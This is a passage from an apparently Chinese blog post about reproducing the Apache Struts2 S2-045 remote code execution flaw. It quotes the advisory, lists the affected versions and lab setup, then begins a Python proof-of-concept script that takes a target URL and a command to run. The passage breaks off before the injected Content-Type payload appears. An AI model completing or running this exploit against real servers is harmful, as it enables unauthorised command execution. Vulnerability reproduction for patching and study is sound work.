S2-045复现(含调整能用的poc代码)
概述
写这篇文是因为在系统维护过程,发现安全系统拦截到了这个漏洞。但是网上教程大都简单描述,要不然就是照搬i春秋实验的过程,对于搬码工的我来说,CV操作用不了的,是真的看不懂好吗?i春秋的环境中的文件又不能拷贝出来,你们那些文中还照搬下载的地址,你们真的有去做实验吗?胡乱就发一篇文出来,也不管是不是有用。
S2-045官方解释
Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser. It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.
意思就是说基于Jakarta Multipart解析器执行文件上传时的远程执行代码,可以利用恶意更改请求头中的Content-Type内容,进而执行远程命令代码。
复现过程
实验环境
windows python 2.7
Struts项目搭建版本需求
需要有服务器搭建一个Struts2.3.5 - Struts2.3.31 或者 2.5-2.5.10这些版本的web项目,局域网中用两台机子去搭应该也可以,自己搭一个,网上教程大把,不在这里赘述。
漏洞复现
脚本代码
利用poc远程执行命令ipconfig,poc.py代码从i春秋的实验中拉取下来的,
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
if len(sys.argv) < 3:
print('''Usage: poc.py http://172.16.12.2/example/HelloWorld.action "command"''')
sys.exit()
register_openers()
# opan("请求的文件", "打开方式")
datagen, header = multipart_encode({
"image": open("zenicon.eot"